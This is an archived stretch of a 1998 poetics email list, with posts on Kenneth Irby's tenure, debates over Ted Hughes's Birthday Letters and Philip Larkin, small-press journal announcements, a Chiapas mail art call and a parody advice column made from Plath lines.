Eve Packer, Kelly Ritter, Mary Ann
>Samyn, Spencer Selby, giovanni
singleton, Fiona Templeton, John Tritica
>
>#6
>Clayton Eshleman, Valerie
Fox, Graham Foust, Barbara Guest, Lyn Hejinian, Ray
>Jordan, Mary Rising
Higgins, Mickie Kennedy, Joel Lewis, Paul Long, Elizabeth

>MacKiernan,
Sheila E. Murphy, Joe Napora, Gale Nelson, John Perlman, Gala M.
>Pierce,
Elizabeth Robinson, Leslie Scalapino, David R. Stockwell, David
>Trinidad,
Martha Modena Vertreace, Susan Wheeler
>
>#5
>Beth Anderson, Laynie Browne,
Joel Brouwer, W.K. Buckley, Wendy Jeanne Burch,
>Michael Chitwood, Albert
Cook, Clark Coolidge, Karen Davies,
>Connie Deanovich, Edward Falco, Graham
Foust, William L. Fox, Karen Garthe,
>Caroline Knox, Jessica Lowenthal,
Davis McCombs, Michael Melcher, Fred
>Muratori, James Sacre, Christy
Sheffield Sanford, Alfred Schwaid.
>
>
>No Røses Review
>150 Duane St.
#8
>Redwood City, CA 94062
>
>
>

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640. **Aldon Nielsen**
Re: Adjunct Faculty Congress
Tue 17 Feb 1998

---

would very much like to hear reports from this conference after it happens -- will be at a poetry conference in North Carolina that week myself, so can't attend even as an observer --

If anybody from the list goes, could you post reports? or could somebdoy ask Andrew to forward a report?

↑ Index

641. **Aldon Nielsen**
Re: Ken Irby
Tue 17 Feb 1998

---

though I fear this means no more greyhound poems from Irby, I think this is some of the best news I've seen on the list in weeks -- Congrats. to him,,,

are there any recent Irby chapbooks or broadsides? haven't seen anything new for a while.

Is his Max Douglas poem still in print?

↑ Index

642. **Joe Brennan**
Re: Lacan on Poetry/oops
Tue 17 Feb 1998

In a message dated 98-02-17 15:21:26 EST, you write:

<< ould argue my points in detail (and they're not exactly novel), and I
could illustrate them from practice. I should think that the burden of
proof would rest with those who assert novel science. Be that as it may, I
think, as I said before, that this is not the place for that discussion.
Which leaves you free to assume that our disagreements are because of my
neuroses or because my analysis was unsuccessful.
Ad homina get you only so far. I'm glad you had a good time on the couch.
You might have had an even better time in an office where the therapist
doesn't require his patients to become true believers. Quien sabe?
Hereafter I'm mum.
>>

I think the burdern rests with whenever is doing the asserting, like you did when you offered your viewpoint. To be mum, as you say, now is the essence of defense, in psychoanalytic circles. One would almost think that you feel put upon -- Quien sabe?

Joe Brennan

↑ Index

643. **Steve Tills**
Re: Ken Irby
Tue 17 Feb 1998

Hi Judy, and Ken,

That's absolutely fabulous news!

S. T.

Judy Roitman wrote:

> *It is with great pleasure that I announce that, as of Fall 1998, Kenneth Irby will be an associate professor with tenure at the University of Kansas.*
>
> *Thanks to those of you on this list who helped in the effort (and if I can find your e-addresses I'll thank you personally).*
>
> *Sometimes the good guys win.*
>
> *----------*
> *Judy Roitman | "Whoppers Whoppers Whoppers!*
> *Math, University of Kansas | memory fails*
> *Lawrence, KS 66045 | these are the days."*
> *[redacted] |*
> *fax: [redacted] | Larry Eigner, 1927-1996*
> *----------*
> *Note new area code*
> *----------*
> *http://www.math.ukans.edu/~roitman/*
> *----------*

↑ Index

644. **charssmith**
Re: Ken Irby
Tue 17 Feb 1998

In a message dated 98-02-17 17:31:09 EST, you write:

<< It is with great pleasure that I announce that, as of Fall 1998, Kenneth Irby will be an associate professor with tenure at the University of Kansas. >>

Judy,

I'd heard that there was an effort being made in this direction, but that it was far from a sure shot. This is great news! Congratulations to Ken & send my best.

Aldon,

Think Ken will really give up the Dog? I'm pretty sure _Max Douglas_ is long outta print, along with all the other early work. The last chapbook I'm aware of from Ken is a letterpress production, _Antiphonal And Fall To Fall_ (Kavyayantra Press, 1994), printed by Patrick Tillery & never really distributed. Not exactly "new," huh? There are some more recent poems in various issues of

First Intensity, _House Organ_ & the most recent _Apex of the M_. Anyone know of others?

A "collected" Irby, or at least a "selected" is long overdue, but with ALL those unpublished poems, well ...

We've had this discussion before, haven't we?

all best,
Charles Smith

↑ Index

645. **Aldon Nielsen**
Re: Ken Irby
Tue 17 Feb 1998

I haven't seen the antiphonal Irby of '94 -- anybody know if copies of that barely distributed chap. are still available?

↑ Index

646. **charssmith**
Re: Ken Irby
Tue 17 Feb 1998

In a message dated 98-02-17 20:44:14 EST, you write:

<< I haven't seen the antiphonal Irby of '94 -- anybody know if copies of that barely distributed chap. are still available? >>

Aldon,

Ken may still have some copies. Otherwise, you'll need to track down Patrick Tillery. Somewhere in this mess I've got an address for him in Seattle that was good a couple of years ago. Let me know if no one else can help out better than this, & I'll see if I can't find it.

Charles

↑ Index

647. **Pierre Joris**
Re: Ken Irby
Tue 17 Feb 1998

Yes, lawdie, lawd, félicitations sincères to ken -- for a long, long overdue due --

as for what is available of his work, besides what Charles mentione din terms of recent magazines, Ken recently told me that CALL STEPS, the 1992 gathering

of work from '77 to '79, is still available from Station Hill. One should also be able to find copies of NOTUS 10 which has a 30 page Irby section.

Someone should put out a largish SELECTED, or a collection of the 80s & 90s writings.

And if anyone on the list has an extra copy of Irby's CATALPA, I'd love to buy one (my copy walked some time ago & it's the toughest book to find!)

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

648. **Pierre Joris**
Re: Fenton on Hughes' Plath
Tue 17 Feb 1998

Michael McColl wrote:

> *While Hughes is not my favorite poet, "poetic triteness and drivel" doesn't accurately describe the poems on Plath. Venom seems to distort that judgment, IMHO.*

I wouldn't waste venom on either of them. & I do think triteness and drivel describe the new Hughes book rather accurately. -- Pierre

> *Name a line or a poem, at least.*
>
> *On Tue, 17 Feb 1998 09:24:56 -0800 Harold Rhenisch said:*
> *Given that for poetic triteness & drivel, Fenton perfectly matches his buddy Hughes, the piece is the expected defense & illustration of Hughes greatness. Wish Fenton had remained the excellent journalist that he was in his early days -- in the realm of poetry & poetics, he can't write his way out of a paperbag.*
>
> *Pierre<<*
>
> *I too long for his erstwhile journalism, but you gave me a fine image here of Fenton with a paper bag on his head and someone scrawling poems on the*

> *paper, maybe even gluing on Merz scraps, and sending him out to walk the streets.*
>
> *Muchlike all one's friends signing a leg cast.*
>
> *thanks for that,*
>
> *Harold Rhenisch*
> [redacted]

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

649. George Bowering
Re: Vizpo? Oh, no
Tue 17 Feb 1998

> *Well George, in Latin America, to be silenced usually involves all five of the senses; you find this amusing, too? Hmmmmm.*
>
> *Joe Brennan*

Dear Joe--

I did not find depredations against Latinamerican writers amusing; I found your probably accidental careless language amusing. In 1963-5 I was in Latinamerica, surrounded by poets and other writers who were being oppressed by the US-backed dictators. Where were you then? In 1967-71 I was delivering Norteamericano poetry books to the Cuban trade mission in Montreal. Were you helping out? In 1966 I got thumped by a USAmerican oilman in a restaurant in Calgary because I objected to his loudmouth denunciation of Cubans. Were you there to help me out? What I am saying is that though I was not carrying a rifle in the hilles of Nicaragua to resist the US--paid gunmen, I dont have to apologize for my sympathies. If you were there before I was, okay, I'll make an agreement with you. But careless language does not help the anti-USA liberation movement. By Cubanos I was proud to be called a fellow-traveller. Still am.

When the US set off bombs in the Cuban trade mission in Montreal, I am glad I was not in the building at the time, but that's because I like living.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

650. **Michael McColl**

Re: Fenton on Hughes' Plath

Tue 17 Feb 1998

While Hughes is not my favorite poet, "poetic triteness and drivel" doesn't accurately describe the poems on Plath. Venom seems to distort that judgment, IMHO. Name a line or a poem, at least.

On Tue, 17 Feb 1998 09:24:56 -0800 Harold Rhenisch said:
>>>Given that for poetic triteness & drivel, Fenton perfectly matches his
>buddy Hughes, the piece is the expected defense & illustration of Hughes
>greatness. Wish Fenton had remained the excellent journalist that he was
>in his early days -- in the realm of poetry & poetics, he can't write
>his way out of a paperbag.
>
>Pierre<<
>
>I too long for his erstwhile journalism, but you gave me a fine image here
>of Fenton with a paper bag on his head and someone scrawling poems on the
>paper, maybe even gluing on Merz scraps, and sending him out to walk the
>streets.
>
>Muchlike all one's friends signing a leg cast.
>
>thanks for that,
>
>Harold Rhenisch
>[redacted]

↑ Index

651. **Michael McColl**
Re: Fenton on Hughes' Plath
Tue 17 Feb 1998

Well, I'm sorry you won't take your time. Now I doubt the worth of your judgment more generally, and will remember to discount other statements you make elsewhere. While that's not going to be a problem for you, it's nice when there is actual conversation and use of thought.

Mike McColl

↑ Index

652. **Michael McColl**
Hughes on Plath
Wed 18 Feb 1998

Pierre Joris couldn't be bothered to explain to me why Hughes poetry on Plath is "drivel." Is this generally the view on this list? Is it a judgment of particular weaknesses in Hughes' poetry, or does Hughes write a kind of poetry which is assumed to be defunct or something? I haven't been on this listserv for long, and i'm sure there are all sorts of shared assumptions I know know thing about. Maybe there is someone who would take a minute, on the list or back of it, to say a word about this.

Mike McColl

↑ Index

653. **Laurie Schneider/Crag Hill**
Vizpo, Oh no!
Wed 18 Feb 1998

Dale: Though visual poetry by its very constitution is silent, visual poets are not -- they may not be speaking up for the reasons Steve Tills suggests -- we are doing the work, we are working, we are ..... Please don't construe slow motion toward e-mail as a lack of support for what sounds like a break-through project. Three other points: 1. Skeptical of much fast information in this information age, I cannot respond to an issue I know so little about. Less than ten e-mail postings does not firm footing make. Many listlings may be waiting for more of the story to surface. Rush to judgement has led to far too much bloodshed. 2. From what I remember of Padin's letter, the project is off-track but not permanently shelved -- in fact, from experience, projects that are worthwhile doing get done in the small press world even if they take years and years. Time in small press is not linear. I think this project, with or without Kent's intelligent collaboration, will see the light. 3. Latin America visual

poets have been oft-heard in the U.S. If you would like, I (along with Luigi-Bob Drake, Miekal And, Bob Grumman, and others) could work up a bibliography of work published in the 1990's (or as far back as you would like).

Best, Crag Hill

↑ Index

654. Kali Tal
Ted, Sylvia and Robin Morgan
Wed 18 Feb 1998

POETICS folk, I'm forwarding this message for Kathe Pollit, the NATION writer. She's not a list member, so please respond to her directly--she's looking for the answer to a question.

Kali

> *Sender:* [redacted]
> *Date: Tue, 17 Feb 1998 21:23:08 -0800 (PST)*
> *From: katha Pollitt <*[redacted]*>*
> *To: Multiple recipients of BAD <*[redacted]*>*
> *Subject: Ted, Sylvia and Robin Morgan*
>
> *Now I've read Hughes' Birthday Letters, which I think is not so hot as poetry and presents problems as autobiography as well. I noticed in Philip Larkin's letters, that Larkin thought Hughes "worthless" as a writer, but thought Plath gifted, though probably "unpleasant" as a person, which seems to be the case if it matters. This shows Larkin had much more good poetic sense than he is usually given credit for.*
>
> *Query: does anyone have a DATE for that awful Robin Morgan poem "the Arraignment" -- which begins "I accuse/ Ted Hughes" of murdering Sylvia Plath? l971? If anyone can help, I need to know ASAP-- by Wednesday Feb 18. After that it will be TOO LATE.*

↑ Index

655. k. lederer
Re: No Roses Review
Wed 18 Feb 1998

Dear Ms. Koo,

Would you be interested in a tarde with Explosive Magazine?

Explosive features work by new and emerging writers (with one or two more established figures per issue)--

#s 2, 3, and 4 are available featuring work by some of your contributors--

Some of the highlights: Eleni Sikelianos, Anselm berrigan, Lyn Hejinian, Leslie Scalapino, Mary Bruger, Bill Luoma, Lee Ann Brown, Alice Notley, Chris Strofolino and so on...

The issues sell for five dollars each and have hand-printed covers--

Please advise... I would love to see No Roses...

Thanks,
Katy L.

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656. **k. lederer**
Re: No Roses Review
Wed 18 Feb 1998

Ooooppsss,

Sorry for sending that to the list--

And sorry for the typos--it is so very late and dreary-gray today in Iowa City--

KL

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657. **dbuuck**
Announcing tripwire: a journal of poetics
Wed 18 Feb 1998

Issue 1 of tripwire (a journal of poetics) is now available.

tripwire is a new poetics journal edited by Yedda Morrison & David Buuck. Issue 1 contains an interview with Myung Mi Kim, along with work by Tan Lin, Sherry Brennan, Mark Wallace, Rodrigo Toscano, Eleni Sikelianos, Noah de Lissovoy, Elizabeth Robinson, Kathy Lou Schultz, Tim Davis, Thiagarajah Selvanithy, Elizabeth Treadwell, Jocelyn Saidenberg & Brian Strang, Sarah Anne Cox, Robert Hale, Dana Lomax, Sarah Rosenthal, and more.

$6 for one issue ($10 for two).

Submission deadline for issue 2 ‹ Writing as Activism: The Aesthetics of Political Engagement - is July 15, 1998. In addition to poetics essays, we encourage submissions of translations, reviews, interviews, responses to other writers, and visual art (reproducable in b&w). Work cannot be returned without SASE.

Subscriptions, submissions & inquiries to:

tripwire
c/o Morrison & Buuck

722 Shotwell St. Apt 4
SF CA 94110

(email inquiries also OK)

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658. **Mark Baker**
Re: Hughes on Plath
Wed 18 Feb 1998

The "Aversive to A Generalised Discussion of Poetry" Achoo

Edward James Hughes '
defunct
who used to
think a midnightmoments-stinking
fox

and croak onetwothreefourfive crowpoemsjustlikethat
Gertrude
he was a handsome man
and what Mike wants to know is
how do you like your driveling boy
MissUs Plath

Mark Baker

Michael McColl wrote:
>
> Pierre Joris couldn't be bothered to explain to me why Hughes
> poetry on Plath is "drivel." Is this generally the view on
> this list? Is it a judgment of particular weaknesses in
> Hughes' poetry, or does Hughes write a kind of poetry
> which is assumed to be defunct or something? I haven't been
> on this listserv for long, and i'm sure there are all sorts
> of shared assumptions I know know thing about. Maybe there is
> someone who would take a minute, on the list or back of it,
> to say a word about this.
>
> Mike McColl

↑ Index

659. Pierre Joris
ej
Wed 18 Feb 1998

News just in that that wierdest of 20C German writers, Ernst Jünger, just died at nearly 103. Militarist, aesthete, great journalist, essayist, EJ's work is worth meditating at the end of this century. --
Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

660. Miekal And
treeblood
Wed 18 Feb 1998

William Burmeister Prod wrote:

> *Will you ever make your maple syrup available through the mail to us little 'ole listmembers? I dearly love a good natual' one.*

william:

usually we sell a couple gallons to make back our expenses. (the rest is rationed very carefully to last til next year at this time). contact me back channel for details.

miekal

_____
Dreamtime Village
http://www.net22.com/dreamtime/index.shtml

↑ Index

661. **sylvester pollet**
Re: Ken Irby
Wed 18 Feb 1998

At 9:22 PM -0500 2/17/98, [redacted] wrote:
>In a message dated 98-02-17 20:44:14 EST, you write:
>
><< I haven't seen the antiphonal Irby of '94 -- anybody know if copies of that
> barely distributed chap. are still available? >>
>
>Aldon,
>
>Ken may still have some copies. Otherwise, you'll need to track down Patrick
>Tillery. Somewhere in this mess I've got an address for him in Seattle that
>was good a couple of years ago. Let me know if no one else can help out better
>than this, & I'll see if I can't find it.
>
>Charles

Tillery still has copies, but he left Seattle in January, or that was the plan. Write him at 1734 Brothers Lane NW, Poulsbo WA 98370--his parents' address, & he'll get the letter. I don't have an e-dress. Sylvester

↑ Index

662. **robert drake**
Chiapas mail art show (forward)
Wed 18 Feb 1998

> *MAIL ART SHOW*
>
> *CHIAPAS*
>
> *The Primary Social Revolution of the III Millenium*
>
> *The right of all peoples to fight with the weapons of ethical and*

social justice to lead free and decent lives.

The Zapatista Army of National Liberation of Chiapas, Mexico, is

fighting to overcome the social and economic inequalities forcing countless

millions of human beings all over the world to live and die like animals in

hunger and deprivation. "We are all Marcos" fighting with reason, truth, and

for the justice of our cause to raise the standards of living for our people.

We are simply unable to exist as we do, struggling to improve our

living conditions, unless our lives are valued according to basic human

principles. "Others" also live and suffer as we do under a system that wields

powers often unwanted by them. Our human nature, our human essence, enables us

to recognize that their "otherness" is ours, even if they fail to think

like us.

The bloodless revolution in Chiapas launched by the people and their

representatives and modified by world public opinion, through revolutionary

announcements in all media, above all through the Internet, have made the

humanitarian principles of The Primary Social Revolution of the III Millenium a

model to follow.

Mediums: no restrictions, including street mail, e-mail, and fax.

Forms and types: no restrictions, but all submissions must be in two

dimensions (no cartons or boxes, no artists' books, no sculptures, etc.).

All submissions will be exhibited and every artist will receive written

> *acknowledgment of his participation in the exhibit.*
>
> *After the exhibition, all works received will be turned over to the*
>
> *Zapatista Army of National Liberation, Chiapas, Mexico.*
>
> *Deadline: July 30, 1998*
>
> *Send to :*
>
> *Clemente Padin*
>
> *C.Correo Central 1211*
>
> *11000 Montevideo*
>
> *URUGUAY*
>
> *Fax : + (598 2) 915 04 17*
>
> *E- Mail :* [redacted]

↑ Index

663. **Miekal And**

Re: Kenneth Irby, where to begin?

Wed 18 Feb 1998

David Zauhar wrote:
>
> Another good place to start might be that collection of poems and workshop
> conversations edited by Lee Bartlett, called _Talking Poetry_ (University
> of New Mexico, 1987). Irby has 5 poems and one of the more interesting
> discussions (in a book that includes discussions w/ Clark Coolidge,
> Theodore Enslin, William Everson and several others.
> Maria: I know for a fact that the Wilson Library at U of M has it,
> since I killed a snowy afternoon in there once by reading it. The call
> number, if I remember correctly, is PS/325/T3/1986

I think that interview with Clark Coolidge had more effect on my life as a writer than anything else I ran into in those years. I seem to remember that I wore my copy of it out...I believe there was a second volume which I never found.

Now David, exactly how many call numbers do you remember?

m

↑ Index

664. **Pierre Joris**
Re: Fenton on Hughes' Plath
Wed 18 Feb 1998

Mike -- sorry, I certain ly didn't want to sound dismissive in terms of your inquiry -- it truly is a thing of time -- and yesterday the mail brought 4 _new_ books I would much rather read than think about TH -- while also preparing for the arrival of Allen Fisher, to my mind one of the very best British poets writing right now (BTW -- read Fisher & you'll see immediately why I don't care for TH's poetry).

Briefly then, Ted Hughes, for me, is a very traditionalist, british establishment poet, whose language and imagery I find trite indeed in that they use the most cliched poetic topi without in anyway renewing them; whose line is flat-footed and rhythmically dead (listen to it -- it just kind of drones, or at best gets a chummy story-in-the-pub quality to it -- old-boy-network à la English country-gentleman mitigated by a mytho-male-ish Iron Johnish swagger) . It is the old "lyric" -romantic tradition as if nothing had happened in poetry or the world for the last hundred years, except for Eliotian modernism (free verse) and the confessional exaltation of personal neurosis as dynamo & authoriy for legitimization of "truth in poetry". There's no sweep, no sense of language (it's that dreary old transparent mimetic medium), no excitement -- it is stifling official safe "verse" of exactly the kind required to become a poet laureate. The British cultural establishment needs such types & glorifies just such a minor poetry (as it did also glorify that other dullard, the librarian from Hull) -- just as every Brit generation needs its token tame Irish poet -- Shameless Hussy, I mean Seamus Heany being this generation's 'official (Anglo)-Irish Poet. The problem is not so much the Hughes & Heany's -- everyone obviously has the right to write as they seem fit -- but rather the fact that the cultural establishment (from the Crown on down via Poetry Societies and the publishers to the media and the school system) sets up the likes of H & H as the great, canonical, etc. poetry of the times, and that that setup has specific cultural-political agendas of the most reactionary kind. 'Nuff said for now.

Just let me add that if you would like a sense of what's new in English poetry, have a look at anthologies such as CONDUCTORS OF CHAOS ed. by Iain Sinclair, (Picador) THE NEW BRITISH POETRY ed. by Allnutt, aguiar, edwards and mottram, (Paladin) FUTURE EXILES --Fisher, Griffiths, Catling -- (Paladin) or OUT OF NOWHERE ed. o'sullivan & mulford (reality street editions).

Pierre

Michael McColl wrote:

> *Well, I'm sorry you won't take your time. Now I doubt the worth of your judgment more generally, and will remember to discount other statements you make elsewhere. While that's not going to be a problem for you, it's nice when there is actual conversation and use of thought.*
>
> *Mike McColl*

--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
  — La Rochefoucauld
==========

↑ Index

665. **James Finnegan**
Re: Hughes' Crow
Wed 18 Feb 1998

Since Hughes is getting the treatment over the Birthday Letters poems, I would like to praise another his works: Those who haven't read Crow are really missing something. That book is a far cry from"trite & drivel"--dark, archetypal, those poems will hold up his rep well into the next century. There is also a fine tape of Hughes reading from Crow.

Finnegan

↑ Index

666. **Pierre Joris**
Re: ej
Wed 18 Feb 1998

---

sorry -- for "great journalist" read "great diarist" -- his Journals are what I was thinking of -- Pierre

Pierre Joris wrote:

> *News just in that that wierdest of 20C German writers, Ernst Jünger, just died at nearly 103. Militarist, aesthete, great journalist, essayist, EJ's work is worth meditating at the end of this century. -- Pierre*
> *--*
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax [redacted] email:[redacted]*
> *http://www.albany.edu/~joris/*
> *----------*
>
> *"What often prevents us from giving ourselves over to a single vice is that we have several of them."*
> *— La Rochefoucauld*
> *==========*

↑ Index

667. **Pierre Joris**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

> *(In Larkin's defense, he was a jazz lover--that alone should expunge most of one's life's sins.)*
>
> *Finnegan*

James -- ahh, the librarian from Hull -- "jazz" for Larkin died in the thirties. he thought bebop and after was barbaric, uncouth, unlistenable.

-- & re TH : I wld tend to include Hughes "Crow" in my admittedly sweeping denigration of Hughes' work: "dark, archetypal" -- hmm, that's part of the problem, not part of the solution...

Pierre
--
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pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
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"What often prevents us from giving ourselves over to
a single vice is that we have several of them."
— La Rochefoucauld
==========

↑ Index

668. **James Finnegan**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

In a message dated 98-02-18 01:04:19 EST, Katha Pollitt writes:

<< Now I've read Hughes' Birthday Letters, which I think is not so hot as
>poetry and presents problems as autobiography as well. I noticed in
>Philip Larkin's letters, that Larkin thought Hughes "worthless" as a
>writer, but thought Plath gifted, though probably "unpleasant" as a
>person, which seems to be the case if it matters. This shows Larkin
>had much more good poetic sense than he is usually given credit for. >>

I find citing Larkin amusing in this case, since biographies of Larkin seem to indicate he could be expertly "unpleasant" himself. (In Larkin's defense, he was a jazz lover--that alone should expunge most of one's life's sins.)

Finnegan

↑ Index

669. **Suzanne Burns**
Re: Fenton on Hughes' Plath
Wed 18 Feb 1998

Wouldn't "waste venom"? Meaning that they are beneath venom? That sounds like venom.

I've read the Hughes book and I've found some poems to be very moving and real (such as the poem about the rag rug) and others (such as the one that gushes on about astrology, quoted by Fenton) to be pretty bad. It doesn't have the brilliance of Crow, but it is a worthy book.

Why put all of this energy into bashing a poet you don't like, Pierre? So you don't like him-- big deal. You seemed to have decided that a long time ago. Are you sure you have really given the book a fair reading? Have you even read it?

Suzanne

> *I wouldn't waste venom on either of them. & I do think triteness and drivel describe the new Hughes book rather accurately. -- Pierre*
>
> *Name a line or a poem, at least.*
>
> *On Tue, 17 Feb 1998 09:24:56 -0800 Harold Rhenisch said:*
> *Given that for poetic triteness & drivel, Fenton perfectly matches his buddy Hughes, the piece is the expected defense & illustration of Hughes greatness. Wish Fenton had remained the excellent journalist that he was*

> *in his early days -- in the realm of poetry & poetics, he can't write his way out of a paperbag.*
>
> *Pierre<<*
>
> *I too long for his erstwhile journalism, but you gave me a fine image here of Fenton with a paper bag on his head and someone scrawling poems on the paper, maybe even gluing on Merz scraps, and sending him out to walk the streets.*
>
> *Muchlike all one's friends signing a leg cast.*
>
> *thanks for that,*
>
> *Harold Rhenisch*
> [redacted]
>
> --
> ==========
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:* [redacted]
> *http://www.albany.edu/~joris/*
> ---
> *"What often prevents us from giving ourselves over to a single vice is that we have several of them."*
> *— La Rochefoucauld*
> ==========

↑ Index

670. **Herb Levy**

Re: Ted, Sylvia & Phil

Wed 18 Feb 1998

James Finnegan writes to the poetics-list:

> *In a message dated 98-02-18 01:04:19 EST, Katha Pollitt writes:*
>
> *<< Now I've read Hughes' Birthday Letters, which I think is not so hot as poetry and presents problems as autobiography as well. I noticed in Philip Larkin's letters, that Larkin thought Hughes "worthless" as a writer, but thought Plath gifted, though probably "unpleasant" as a person, which seems to be the case if it matters. This shows Larkin had much more good poetic sense than he is usually given credit for. >>*
>
> *I find citing Larkin amusing in this case, since biographies of Larkin seem to indicate he could be expertly "unpleasant"*

> *himself. (In Larkin's defense, he was a jazz lover--that alone should expunge most of one's life's sins.)*

Uh, Larkin was a jazz "lover" who hated virtually everything that sounded stylistically later than about the year 1950, or about half of jazz's recorded history, so I'm not sure how much of a defense that is.

Herb Levy

[redacted]

↑ Index

671. Suzanne Burns
Re: Hughes on Plath
Wed 18 Feb 1998

On Wed, 18 Feb 1998, Michael McColl wrote:

> *Pierre Joris couldn't be bothered to explain to me why Hughes poetry on Plath is "drivel." Is this generally the view on this list? Is it a judgment of particular weaknesses in Hughes' poetry, or does Hughes write a kind of poetry which is assumed to be defunct or something? I haven't been on this listserv for long, and i'm sure there are all sorts of shared assumptions I know know thing about. Maybe there is someone who would take a minute, on the list or back of it, to say a word about this.*

I've wondered about that too, Mike. There does seem to be a shared assumption here, which in itself doesn't bother me so much since I think this listserve does appeal to readers and poets with a strong shared interest in experimental poetry, language poetry, etc., and I subscribe to this list to hear what they have to say and to talk about they kind of poetry that doesn't always make it into the mainstream.

What does strike me as unfortunate is when people (anywhere, not just here) toss off judgements (twice even!) without any attempt to substantiate or even play with the idea. When people do that, I have to conclude that they are not interested in ideas-- not even their own ideas.

I've been in groups before-- we all have-- that went downhill when they became dominated by one poetic "agenda" and a received list of acceptable poets. I am wary of any marks of Cain or claims to demi-God status. Let's please just talk about poetry.

Suzanne

↑ Index

672. **pritchpa**
Re: Dahlen query
Wed 18 Feb 1998

Looking for reviews or any longer critical pieces written on Beverly Dahlen. Backchannel please. Thanks.

Patrick Pritchett

↑ Index

673. **louis stroffolino**
Re: Hughes' Crow
Wed 18 Feb 1998

Well, I kinda liked ONE Hughes poem there--
It was called "Crow tries the media"
(but i think hardcore hughes fans would
probably call it one of his slighter poems)
And his book on SHAKESPEARE, mostly UGH!
chris

On Wed, 18 Feb 1998, James Finnegan wrote:

> *Since Hughes is getting the treatment over the Birthday Letters poems, I would like to praise another his works: Those who haven't read Crow are really missing something. That book is a far cry from"trite & drivel"--dark, archetypal, those poems will hold up his rep well into the next century. There is also a fine tape of Hughes reading from Crow.*
>
> *Finnegan*

↑ Index

674. **groberts**
Re: Why I'm an experimental poet, part 57
Wed 18 Feb 1998

I have been unsubbed for the last two weeks, so pardon if this post is redundant. The earliest example of "experiment" applied to poetry that I know of is found at the beginning of Wordsworth's preface to the Lyrical Ballads (which btw is an innovative and intentionally oxymoronic title):

"The fist Volume of these poems has already been submitted to general perusal. It was published, as an experiment, which, I hoped, might be of some use to

ascertain, how far, by fitting to metrical arrangement a selection of the real language of men in a state of vivid sensation, that sort of pleasure and that quantity of pleasure may be imparted, which a Poet may rationally endeavour to impart."

The rest of the piece makes it clear that Wordsworth was thinking of the poems individually and as a group in terms of text which defies public expectation in order to find out what will happen, both to his poetry-making and to the expectations of poetry readers.

Gary R.

↑ Index

675. **William Burmeister Prod**

Re: Why poet funny, no?

Wed 18 Feb 1998

> *miekal*
>
> *tapped & cooked down the first batch of maple syrup this spring, one month sooner than ever before...el nino has the seasons in her control. its thru experimentation that I taught myself how to make good syrup & every cookdown Ive done has had a different set of conditions which were unpredictable, thus the "scientific method"...*
> *-- End of excerpt from Miekal And*

Interesting the gender here of el nino (really). I am reminded of a wonderfully humorous short piece by Octavio Paz in _Eagle or Sun?_ called "My life with the wave." The influence of Breton over the earlier Paz being a little bit evident there.

Will you ever make your maple syrup available through the mail to us little 'ole listmembers? I dearly love a good natual' one.

rgds,

William Burmeister

↑ Index

676. **MAYHEW**

Tis better to be vile than vile esteemd

Wed 18 Feb 1998

Who was it a few months ago that said that Hughes wrote some effective poems about nasty animals attacking other nasty animals? That seems to be the strength of his earlier work. Crow impressed me years ago with its fine

nastiness, though I haven't followed him in the last decade or so. The snippets I have seen quoted from the Plath book are quite vile.

That said, I much prefer Hughes to Larkin. I was quite surprised a few years ago when the revelations about Larkin's racism, sexism and general nastiness came out. I was not surprised at the revelations, but at the surprise they evoked in others. I had always read his poetry as the expression of a sort of snide British anti-intellectual xenophobic resentful postwar anti-modernist mindset. He condemned the three "Ps": "Picasso, Pound, Parker," who had ruined painting, poetry, and jazz, in his opinion.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas
[redacted]

↑ Index

677. **Maria Damon**
Re: Adjunct Faculty Congress
Wed 18 Feb 1998

---

what's the NoCar poetry conference, aldon? anything you care to report about after the fact?

At 2:49 PM -0800 2/17/98, Aldon Nielsen wrote:
>would very much like to hear reports from this conference after it happens
>-- will be at a poetry conference in North Carolina that week myself, so
>can't attend even as an observer --
>
>If anybody from the list goes, could you post reports? or could somebdoy
>ask Andrew to forward a report?

↑ Index

678. **Gary Sullivan**
HUGHES/PLATH
Wed 18 Feb 1998

ASK MRS. TED HUGHES

Dear Mrs. Hughes:

I met a man at his publication party last week and we fell in love. I'm sure he's the one because we want to be together every second and our feelings are more

intense than either of us has ever known before. My friends and my therapist say it can't be real love when it happens so fast. How do you know when it's really and truly love?

Confidently in San Francisco, CA

Dear Confident:

Who do you think you are?
A communion wafer? Blubbery Mary?
I shall take no bite of your body,
Bottle in which I live.

* * *

Dear Mrs. Ted Hughes:

I found a stash of erotic books under my daughter's bed. She's a junior in high school and a good student, but I find it incredibly upsetting that she's reading pornography. I believe that all pornography exploits women and our bodies. How do I confront her about this matter? What would you do in my shoes?

Seasick on the Censorship in Raleigh, NC

Dear Seasick:

Something else

* * *

Dear Mrs. Hughes:

How do I care for the book jackets on all my first editions? I'm embarrassed to take them to the book dealer, but I'm afraid to leave them unprotected. Can you help?

Under Cover in Camden, NJ

Dear Under Cover:

You are terrified
The world will go up in a shriek,
  and your head with it,
Bossed, brazen, an antique shield,
A marvel to your great-grand-children.
Do not be afraid, it is not so.

* * *

Dear Mrs. Hughes:

Imagining killing someone doesn't make you a murderer, thinking about stealing something doesn't make you a thief, and so dreaming about the sweet

lucrative life as a highly paid commercial novelist even though you're committed to experimental literature surely does not make you a cheater. Does it?

Pumping out Pulp in Seattle, WA

Dear Pumping:

The spider-men have caught you,
Winding and twining their petty fetters,
